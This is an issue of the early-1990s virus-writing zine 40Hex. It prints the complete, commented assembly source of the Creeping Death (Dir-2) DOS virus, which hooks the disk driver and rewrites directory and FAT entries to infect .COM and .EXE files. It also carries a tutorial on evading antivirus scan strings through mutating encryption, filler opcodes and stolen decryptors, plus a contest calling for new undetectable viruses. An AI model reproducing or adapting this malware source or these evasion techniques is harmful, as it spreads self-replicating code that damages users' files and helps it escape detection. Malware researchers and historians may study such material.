40Hex Number 6 Volume 2 Issue 2
40Hex Number 6 Volume 2 Issue 2 File 00A
Welcome to this issue's VIRUS SPOTLITE, the infamous Creeping Death(dir2).
This is one of the most impressive viruses out there, and VirusSoft looks to be
a promising group in the future. Unfortunately, the source code we obtained
had almost no comments. Dark Angel commented it as best as he possibly could,
but I think it is safe to say that there may be a few discrepancies.
Nonetheless, it was an excellent job, kudos to DA. Although I am writing this
header, I had nothing to do with the commenting, so Dark Angel gets all the
credit.
-)GHeap
-------------------------------------------------------------------------------
; Dark Angel's comments: I spent my entire waking hours looking at this virus.
; I love it. It is my life. I worship the drive it
; infects. Take a look at it. Let not my troubles be
; in vain. Why did I do this? I sacrifice my life for
; the benefit of 40Hex. If you don't read this, I'm
; gonna go join [NuKE].
; Creeping Death V 1.0
;
; (C) Copyright 1991 by VirusSoft Corp.
i13org = 5f8h
i21org = 5fch
dir_2 segment byte public
assume cs:dir_2, ds:dir_2
org 100h
start:
mov sp,600h ; Set up the stack pointer
inc word ptr counter ; Generation counter
xor cx,cx
mov ds,cx ; DS points to interrupt table
lds ax, ds:[0c1h] ; Find interrupt 30h
add ax,21h ; Change it to Int 21h
push ds ; Save it on stack for use by
push ax ; subroutine "jump"
mov ah,30h ; Get DOS version
call jump
cmp al,4 ; DOS 4.X+ : SI = 0
sbb si,si ; DOS 2/3 : SI = -1
mov byte ptr [drive+2],byte ptr -1 ; Initialise last drive to
; "never accessed"
mov bx,60h ; Adjust memory in ES to
mov ah,4ah ; BX paragraphs.
call jump
mov ah,52h ; Get DOS List of Lists
call jump ; to ES:BX
push es:[bx-2] ; Save Segment of first MCB
lds bx,es:[bx] ; DS:BX -> 1st DPB
; (Drive parameter block)
search: mov ax,[bx+si+15h] ; Get segment of device driver
cmp ax,70h ; Is it CONFIG? (I think)
jne next ; If not, try again
xchg ax,cx ; Move driver segment to CX
mov [bx+si+18h],byte ptr -1 ; Flag block must be rebuilt
mov di,[bx+si+13h] ; Save offset of device driver
; Original device driver
; address in CX:DI
mov [bx+si+13h],offset header ; Replace with our own
mov [bx+si+15h],cs ; (header)
next: lds bx,[bx+si+19h] ; Get next device block
cmp bx,-1 ; Is it the last one?
jne search ; If not, search it
jcxz install
pop ds ; Restore segment of first
mov ax,ds ; MCB
add ax,ds:[3] ; Go to next MCB
inc ax ; AX = segment next MCB
mov dx,cs ; DX = MCB owning current
dec dx ; program
cmp ax,dx ; Are these the same?
jne no_boot ; If not, we are not currently
; in the middle of a reboot
add word ptr ds:[3],61h ; Increase length owned by
; MCB by 1552 bytes
no_boot: mov ds,dx ; DS = MCB owning current
; program
mov word ptr ds:[1],8 ; Set owner = DOS
mov ds,cx ; DS = segment of original
; device driver
les ax,[di+6] ; ES = offset int handler
; AX = offset strategy entry
mov word ptr cs:str_block,ax ; Save entry point
mov word ptr cs:int_block,es ; And int block for use in
; function _in
cld ; Scan for the write
mov si,1 ; function in the
scan: dec si ; original device driver
lodsw
cmp ax,1effh
jne scan
mov ax,2cah ; Wicked un-yar place o'
cmp [si+4],ax ; doom.
je right
cmp [si+5],ax
jne scan
right: lodsw
push cs
pop es
mov di,offset modify+1 ; Save address of patch
stosw ; area so it can be changed
xchg ax,si ; later.
mov di,offset i13org ; This is in the stack, but
cli ; it is used by "i13pr"
movsw
movsw
mov dx,0c000h ; Scan for hard disk ROM
; Start search @ segment C000h
fdsk1: mov ds,dx ; Load up the segment
xor si,si ; atart at offset 0000h
lodsw ; Scan for the signature
cmp ax,0aa55h ; Is it the signature?
jne fdsk4 ; If not, change segment
cbw ; clear AH
lodsb ; load a byte to AL
mov cl,9
sal ax,cl ; Shift left, 0 filled
fdsk2: cmp [si],6c7h
jne fdsk3
cmp word ptr [si+2],4ch
jne fdsk3
push dx ; Save the segment
push [si+4] ; and offset on stack
jmp short death ; for use by i13pr
install: int 20h
file: db "c:",255,0
fdsk3: inc si ; Increment search offset
cmp si,ax ; If we are not too high,
jb fdsk2 ; try again
fdsk4: inc dx ; Increment search segment
cmp dh,0f0h ; If we are not in high
jb fdsk1 ; memory, try again
sub sp,4 ; effectively push dummy vars.
death: push cs ; on stack for use by i13pr
pop ds
mov bx,ds:[2ch] ; Get environment from PSP
mov es,bx
mov ah,49h ; Release it (to save memory)
call jump
xor ax,ax
test bx,bx ; Is BX = 0?
jz boot ; If so, we are booting now
mov di,1 ; and not running a file
seek: dec di ; Search for end of
scasw ; the environment block
jne seek
lea si,[di+2] ; SI points to filename
jmp short exec ; (in DOS 3.X+)
; Execute that file
boot: mov es,ds:[16h] ; get PSP of parent
mov bx,es:[16h] ; get PSP of parent
dec bx ; go to its MCB
xor si,si
exec: push bx
mov bx,offset param ; Set up parameter block
; for EXEC function
mov [bx+4],cs ; segment to command line
mov [bx+8],cs ; segment to 1st FCB
mov [bx+12],cs ; segment to 2nd FCB
pop ds
push cs
pop es
mov di,offset f_name
push di ; Save filename offset
mov cx,40 ; Copy the filename to
rep movsw ; the buffer
push cs
pop ds
mov ah,3dh ; Handle open file
mov dx,offset file ; "c: ",0
call jump
pop dx ; DS:DX -> filename
mov ax,4b00h ; Load and Execute
call jump ; ES:BX = param block
mov ah,4dh ; Get errorlevel
call jump
mov ah,4ch ; Terminate
jump: pushf ; Simulate an interrupt 21h
call dword ptr cs:[i21org]
ret
;--------Installation complete
i13pr: mov ah,3 ; Write AL sectors from ES:BX
jmp dword ptr cs:[i13org] ; to track CH, sector CL,
; head DH, drive DL
main: push ax ; driver
push cx ; strategy block
push dx
push ds
push si
push di
push es ; Move segment of parameter
pop ds ; block to DS
mov al,[bx+2] ; [bx+2] holds command code
cmp al,4 ; Input (read)
je input
cmp al,8 ; Output (write)
je output
cmp al,9 ; Output (write) with verify
je output
call in_ ; Call original device
cmp al,2 ; Request build BPB
jne ppp ; If none of the above, exit
lds si,[bx+12h] ; DS:SI point to BPB table
mov di,offset bpb_buf ; Replace old pointer with
mov es:[bx+12h],di ; a pointer to our own
mov es:[bx+14h],cs ; BPB table
push es ; Save segment of parameters
push cs
pop es
mov cx,16 ; Copy the old BPB table to
rep movsw ; our own
pop es ; Restore parameter segment
push cs
pop ds
mov al,[di+2-32] ; AL = sectors per allocation
cmp al,2 ; unit. If less than
adc al,0 ; 2, increment
cbw ; Extend sign to AH (clear AH)
cmp word ptr [di+8-32],0 ; Is total number sectors = 0?
je m32 ; If so, big partition (>32MB)
sub [di+8-32],ax ; Decrease space of disk by
; one allocation unit(cluster)
jmp short ppp ; Exit
m32: sub [di+15h-32],ax ; Handle large partitions
sbb word ptr [di+17h-32],0
ppp: pop di
pop si
pop ds
pop dx
pop cx
pop ax
rts: retf ; We are outta here!
output: mov cx,0ff09h
call check ; is it a new disk?
jz inf_sec ; If not, go away
call in_ ; Call original device handler
jmp short inf_dsk
inf_sec: jmp _inf_sec
read: jmp _read
read_: add sp,16 ; Restore the stack
jmp short ppp ; Leave device driver
input: call check ; Is it a new disk?
jz read ; If not, leave
inf_dsk: mov byte ptr [bx+2],4 ; Set command code to READ
cld
lea si,[bx+0eh] ; Load from buffer address
mov cx,8 ; Save device driver request
save: lodsw ; on the stack
push ax
loop save
mov word ptr [bx+14h],1 ; Starting sector number = 1
; (Read 1st FAT)
call driver ; Read one sector
jnz read_ ; If error, exit
mov byte ptr [bx+2],2 ; Otherwise build BPB
call in_ ; Have original driver do the
; work
lds si,[bx+12h] ; DS:SI points to BPB table
mov ax,[si+6] ; Number root directory entries
add ax,15 ; Round up
mov cl,4
shr ax,cl ; Divide by 16 to find sectors
; of root directory
mov di,[si+0bh] ; DI = sectors/FAT
add di,di ; Double for 2 FATs
stc ; Add one for boot record
adc di,ax ; Add sector size of root dir
push di ; to find starting sector of
; data (and read)
cwd ; Clear DX
mov ax,[si+8] ; AX = total sectors
test ax,ax ; If it is zero, then we have
jnz more ; an extended partition(>32MB)
mov ax,[si+15h] ; Load DX:AX with total number
mov dx,[si+17h] ; of sectors
more: xor cx,cx
sub ax,di ; Calculate FAT entry for last
; sector of disk
sbb dx,cx
mov cl,[si+2] ; CL = sectors/cluster
div cx ; AX = cluster #
cmp cl,2 ; If there is more than 1
sbb ax,-1 ; cluster/sector, add one
push ax ; Save cluster number
call convert ; AX = sector number to read
; DX = offset in sector AX
; of FAT entry
; DI = mask for EOF marker
mov byte ptr es:[bx+2],4 ; INPUT (read)
mov es:[bx+14h],ax ; Starting sector = AX
call driver ; One sector only
again: lds si,es:[bx+0eh] ; DS:SI = buffer address
add si,dx ; Go to FAT entry
sub dh,cl ; Calculate a new encryption
adc dx,ax ; value
mov word ptr cs:gad+1,dx ; Change the encryption value
cmp cl,1 ; If there is 0 cluster/sector
je small_ ; then jump to "small_"
mov ax,[si] ; Load AX with offset of FAT
; entry
and ax,di ; Mask it with value from
; "convert" then test to see
; if the sector is fine
cmp ax,0fff7h ; 16 bit reserved/bad
je bad
cmp ax,0ff7h ; 12 bit reserved/bad
je bad
cmp ax,0ff70h ; 12 bit reserved/bad
jne ok
bad: pop ax ; Tried to replicate on a bad
dec ax ; cluster. Try again on a
push ax ; lower one.
call convert ; Find where it is in the FAT
jmp short again ; and try once more
small_: not di ; Reverse mask bits
and [si],di ; Clear other bits
pop ax ; AX = cluster number
push ax
inc ax ; Need to do 2 consecutive
push ax ; bytes
mov dx,0fh
test di,dx
jz here
inc dx ; Multiply by 16
mul dx
here: or [si],ax ; Set cluster to next
pop ax ; Restore cluster of write
call convert ; Calculate buffer offset
mov si,es:[bx+0eh] ; Go to FAT entry (in buffer)
add si,dx
mov ax,[si]
and ax,di
ok: mov dx,di ; DI = mask from "convert"
dec dx
and dx,di ; Yerg!
not di
and [si],di
or [si],dx ; Set [si] to DI
cmp ax,dx ; Did we change the FAT?
pop ax ; i.e. Are we already on this
pop di ; disk?
mov word ptr cs:pointer+1,ax ; Our own starting cluster
je _read_ ; If we didn't infect, then
; leave the routine. Oh
; welp-o.
mov dx,[si]
push ds
push si
call write ; Update the FAT
pop si
pop ds
jnz _read_ ; Quit if there's an error
call driver
cmp [si],dx
jne _read_
dec ax
dec ax
mul cx ; Multiply by sectors/cluster
; to find the sector of the
; write
add ax,di
adc dx,0
push es
pop ds
mov word ptr [bx+12h],2 ; Byte/sector count
mov [bx+14h],ax ; Starting sector #
test dx,dx
jz less
mov word ptr [bx+14h],-1 ; Flag extended partition
mov [bx+1ah],ax ; Handle the sector of the
mov [bx+1ch],dx ; extended partition
less: mov [bx+10h],cs ; Transfer address segment
mov [bx+0eh],100h ; and the offset (duh)
call write ; Zopy ourselves!
; (We want to travel)
_read_: std
lea di,[bx+1ch] ; Restore device driver header
mov cx,8 ; from the stack
load: pop ax
stosw
loop load
_read: call in_ ; Call original device handler
mov cx,9
_inf_sec:
mov di,es:[bx+12h] ; Bytes/Sector
lds si,es:[bx+0eh] ; DS:SI = pointer to buffer
sal di,cl ; Multiply by 512
; DI = byte count
xor cl,cl
add di,si ; Go to address in the buffer
xor dl,dl ; Flag for an infection in
; function find
push ds
push si
call find ; Infect the directory
jcxz no_inf
call write ; Write it back to the disk
and es:[bx+4],byte ptr 07fh ; Clear error bit in status
; word
no_inf: pop si
pop ds
inc dx ; Flag for a decryption in
; function find
call find ; Return right information to
; calling program
jmp ppp
;--------Subroutines
find: mov ax,[si+8] ; Check filename extension
cmp ax,"XE" ; in directory structure
jne com
cmp [si+10],al
je found
com: cmp ax,"OC"
jne go_on
cmp byte ptr [si+10],"M"
jne go_on
found: test [si+1eh],0ffc0h ; >4MB ; Check file size high word
jnz go_on ; to see if it is too big
test [si+1dh],03ff8h ; <2048B ; Check file size low word
jz go_on ; to see if it is too small
test [si+0bh],byte ptr 1ch ; Check attribute for subdir,
jnz go_on ; volume label or system file
test dl,dl ; If none of these, check DX
jnz rest ; If not 0, decrypt
pointer: mov ax,1234h ; mov ax, XX modified elsewhere
cmp ax,[si+1ah] ; Check for same starting
; cluster number as us
je go_on ; If it is, then try another
xchg ax,[si+1ah] ; Otherwise make it point to
; us.
gad: xor ax,1234h ; Encrypt their starting
; cluster
mov [si+14h],ax ; And put it in area reserved
; by DOS for no purpose
loop go_on ; Try another file
rest: xor ax,ax ; Disinfect the file
xchg ax,[si+14h] ; Get starting cluster
xor ax,word ptr cs:gad+1 ; Decrypt the starting cluster
mov [si+1ah],ax ; and put it back
go_on: db 2eh,0d1h,6 ; rol cs:[gad+1], 1
dw offset gad+1 ; Change encryption and
add si,32 ; go to next file
cmp di,si ; If it is not past the end of
jne find ; the buffer, then try again
ret ; Otherwise quit
check: mov ah,[bx+1] ; ah = unit code (block device
; only)
drive: cmp ah,-1 ; cmp ah, XX can change.
; Compare with the last call
; -1 is just a dummy
; impossible value that will
; force the change to be true
mov byte ptr cs:[drive+2],ah ; Save this call's drive
jne changed ; If not the same as last call
; media has changed
push [bx+0eh] ; If it is the same physical
; drive, see if floppy has
; been changed
mov byte ptr [bx+2],1 ; Tell original driver to do a
call in_ ; media check (block only)
cmp byte ptr [bx+0eh],1 ; Returns 1 in [bx+0eh] if
pop [bx+0eh] ; media has not been changed
mov [bx+2],al ; Restore command code
changed: ret ; CF,ZF set if media has not
; been changed, not set if
; has been changed or we don't
; know
write: cmp byte ptr es:[bx+2],8 ; If we want OUTPUT, go to
jae in_ ; original device handler
; and return to caller
mov byte ptr es:[bx+2],4 ; Otherwise, request INPUT
mov si,70h
mov ds,si ; DS = our segment
modify: mov si,1234h ; Address is changed elsewhere
push [si]
push [si+2]
mov [si],offset i13pr
mov [si+2],cs
call in_ ; Call original device handler
pop [si+2]
pop [si]
ret
driver: mov word ptr es:[bx+12h],1 ; One sector
in_: ; in_ first calls the strategy
; of the original device
; driver and then calls the
; interrupt handler
db 09ah ; CALL FAR PTR
str_block:
dw ?,70h ; address
db 09ah ; CALL FAR PTR
int_block:
dw ?,70h ; address
test es:[bx+4],byte ptr 80h ; Was there an error?
ret
convert: cmp ax,0ff0h ; 0FFF0h if 12 bit FAT
jae fat_16 ; 0FF0h = reserved cluster
mov si,3 ; 12 bit FAT
xor word ptr cs:[si+gad-1],si ; Change the encryption value
mul si ; Multiply by 3 and
shr ax,1 ; divide by 2
mov di,0fffh ; Mark it EOF (low 12 bits)
jnc cont ; if it is even, continue
mov di,0fff0h ; otherwise, mark it EOF (high
jmp short cont ; 12 bits) and then continue
fat_16: mov si,2 ; 16 bit FAT
mul si ; Double cluster #
mov di,0ffffh ; Mark it as end of file
cont: mov si,512
div si ; AX = sector number
; (relative to start of FAT)
; DX = offset in sector AX
header: inc ax ; Increment AX to account for
ret ; boot record
counter: dw 0
dw 842h ; Attribute
; Block device
; DOS 3 OPEN/CLOSE removable
; media calls supported
; Generic IOCTL call supported
; Supports 32 bit sectors
dw offset main ; Strategy routine
dw offset rts ; Interrupt routine (rtf)
db 7fh ; Number of subunits supported
; by this driver. Wow, lookit
; it -- it's so large and juicy
; Parameter block format:
; 0 WORD Segment of environment
; 2 DWORD pointer to command line
; 6 DWORD pointer to 1st default FCB
;10 DWORD pointer to 2nd default FCB
param: dw 0,80h,?,5ch,?,6ch,?
bpb_buf: db 32 dup(?)
f_name: db 80 dup(?)
;--------The End.
dir_2 ends
end start
40Hex Number 6 Volume 2 Issue 2 File 00B
------------------------------
SCAN STRINGS, HOW THEY WORK,
AND HOW TO AVOID THEM
------------------------------
By Dark Angel
------------------------------
Scan strings are the scourge of the virus author and the friend of anti-
virus wanna-bes. The virus author must find encryption techniques which
can successfully evade easy detection. This article will show you several
such techniques.
Scan strings, as you are well aware, are a collection of bytes which an
anti-viral product uses to identify a virus. The important thing to keep
in mind is that these scan strings represent actual code and can NEVER
contain code which could occur in a "normal" program. The trick is to use
this to your advantage.
When a scanner checks a file for a virus, it searches for the scan string
which could be located ANYWHERE IN THE FILE. The scanner doesn't care
where it is. Thus, a file which consists solely of the scan string and
nothing else would be detected as infected by a virus. A scanner is
basically an overblown "hex searcher" looking for 1000 signatures.
Interesting, but there's not much you can do to exploit this. The only
thing you can do is to write code so generic that it could be located in
any program (by chance). Try creating a file with the following debug
script and scanning it. This demonstrates the fact that the scan string
may be located at any position in the file.
---------------------------------------------------------------------------
n marauder.com
e 0100 E8 00 00 5E 81 EE 0E 01 E8 05 00 E9
rcx
000C
w
q
---------------------------------------------------------------------------
Although scanners normally search for decryption/encryption routines, in
Marauder's case, SCAN looks for the "setup" portion of the code, i.e.
setting up BP (to the "delta offset"), calling the decryption routine, and
finally jumping to program code.
What you CAN do is to either minimise the scannable code or to have the
code constantly mutate into something different. The reasons are readily
apparent.
The simplest technique is having multiple encryption engines. A virus
utilising this technique has a database of encryption/decryption engines
and uses a random one each time it infects. For example, there could be
various forms of XOR encryption or perhaps another form of mathematical
encryption. The trick is to simply replace the code for the encryption
routine each time with the new encryption routine.
Mark Washburn used this in his V2PX series of virii. In it, he used six
different encryption/decryption algorithms, and some mutations are
impossible to detect with a mere scan string. More on those later.
Recently, there has been talk of the so-called MTE, or mutating engine,
from Bulgaria (where else?). It utilises the multiple encryption engine
technique. Pogue Mahone used the MTE and it took McAfee several days to
find a scan string. Vesselin Bontchev, the McAfee-wanna-be of Bulgaria,
marvelled the engineering of this engine. It is distributed as an OBJ file
designed to be able to be linked into any virus. Supposedly, SCANV89 will
be able to detect any virus using the encryption engine, so it is worthless
except for those who have an academic interest in such matters (such as
virus authors).
However, there is a serious limitation to the multiple encryption
technique, namely that scan strings may still be found. However, scan
strings must be isolated for each different encryption mechanism. An
additional benefit is the possibility that the antivirus software
developers will miss some of the encryption mechanisms so not all the
strains of the virus will be caught by the scanner.
Now we get to a much better (and sort of obvious) method: minimising scan
code length. There are several viable techniques which may be used, but I
shall discuss but three of them.
The one mentioned before which Mark Washburn used in V2P6 was interesting.
He first filled the space to be filled in with the encryption mechanism
with dummy one byte op-codes such as CLC, STC, etc. As you can see, the
flag manipulation op-codes were exploited. Next, he randomly placed the
parts of his encryption mechanism in parts of this buffer, i.e. the gaps
between the "real" instructions were filled in with random dummy op-codes.
In this manner, no generic scan string could be located for this encryption
mechanism of this virus. However, the disadvantage of this method is the
sheer size of the code necessary to perform the encryption.
A second method is much simpler than this and possibly just as effective.
To minimise scan code length, all you have to do is change certain bytes at
various intervals. The best way to do this can be explained with the
following code fragment:
mov si, 1234h ; Starting location of encryption
mov cx, 1234h ; Virus size / 2 + variable number
loop_thing:
xor word ptr cs:[si], 1234h ; Decrypt the value
add si, 2
loop loop_thing
In this code fragment, all the values which can be changed are set to 1234h
for the sake of clarity. Upon infection, all you have to do is to set
these variable values to whatever is appropriate for the file. For
example, mov bx, 1234h would have to be changed to have the encryption
start at the wherever the virus would be loaded into memory (huh?). Ponder
this for a few moments and all shall become clear. To substitute new
values into the code, all you have to do is something akin to:
mov [bp+scratch+1], cx
Where scratch is an instruction. The exact value to add to scratch depends
on the coding of the op-code. Some op-codes take their argument as the
second byte, others take the third. Regardless, it will take some
tinkering before it is perfect. In the above case, the "permanent" code is
limited to under five or six bytes. Additionally, these five or six bytes
could theoretically occur in ANY PROGRAM WHATSOEVER, so it would not be
prudent for scanners to search for these strings. However, scanners often
use scan strings with wild-card-ish scan string characters, so it is still
possible for a scan string to be found.
The important thing to keep in mind when using this method is that it is
best for the virus to use separate encryption and decryption engines. In
this manner, shorter decryption routines may be found and thus shorter scan
strings will be needed. In any case, using separate encryption and
decryption engines increases the size of the code by at most 50 bytes.
The last method detailed is theft of decryption engines. Several shareware
products utilise decryption engines in their programs to prevent simple
"cracks" of their products. This is, of course, not a deterrent to any
programmer worth his salt, but it is useful for virus authors. If you
combine the method above with this technique, the scan string would
identify the product as being infected with the virus, which is a) bad PR
for the company and b) unsuitable for use as a scan string. This technique
requires virtually no effort, as the decryption engine is already written
for you by some unsuspecting PD programmer.
All the methods described are viable scan string avoidance techniques
suitable for use in any virus. After a few practice tries, scan string
avoidance should become second nature and will help tremendously in
prolonging the effective life of your virus in the wild.
40Hex Number 6 Volume 2 Issue 2 File 00C
------------------------
Virus Contest!
'The Spammies(tm)'
------------------------
Deadline: July 4th, 1992
This is the first PHALCON/SKISM virus contest. As a matter of fact, this
is the first contest of its kind. We believe that it will motivate you to
produce more original code, rather than more hacks. Winners may have already
won $10,000,000, as well as the prestige of winning the first ever 'Spammie'
awards.
Rules and Regulations:
1) All submissions must be original source code. (no hacks)
2) Only one submission is allowed per programmer, plus one group project.
3) All viruses must be recieved by us before July 4th, 1992.
4) Viruses must be accompanied by a complete entry form. (see below)
5) The original, compilable, commented source MUST be included, along with an
installer program, or a dropper, in the case of boot block viruses.
6) Entries must include a location where the author may be contacted, such as
an email address or a BBS.
7) Personnel or persons related to personnel of PHALCON/SKISM are not
eligable.
8) The source must compile without error under Tasm or Masm (please specify
what assembler and version you used, along with the necessary command line
switches). If we cannot compile your virus, it will be disqualified.
9) All entries recieve a free subscription to 40hex. (hehehehe)
10) The entry must be uploaded privately to the sysop, stating that it is a
contest entry.
11) The viruses must not be detectable by the current version (as of July 4th)
of any known virus scanner.
12) Viruses will be judged by our 'panel of experts' in three catagories.
6.1) Stealth
6.2) Size
6.3) Reproductivity
6.4) Performance
For example, Red Cross is an example of a 'high performance' virus. It
was entertaining and well done.
*** Entry Form
Handle ________________________
Group Afiliation ______________
Virus Name ____________________
Size ____bytes (if you need more spaces, go away)
Type ___ File Infector ___ Boot block
Infection method ___ Direct Action ___ Memory Resident ___ Directory chain
___ Other (please describe it in detail)
Encryption routine ___ None (bah) ___ Xor loop
___ Other (please describe it in detail)
Describe what makes your infection routine unique.
_______________________________________________________________________________
_______________________________________________________________________________
Describe what makes your encryption routine unique.
_______________________________________________________________________________
_______________________________________________________________________________
Describe what means your virus uses, other than encryption, to keep itself
hidden.
_______________________________________________________________________________
_______________________________________________________________________________
What is the largest possible scan string for this virus? __bytes
What else sets this virus apart from other viruses?
_______________________________________________________________________________
_______________________________________________________________________________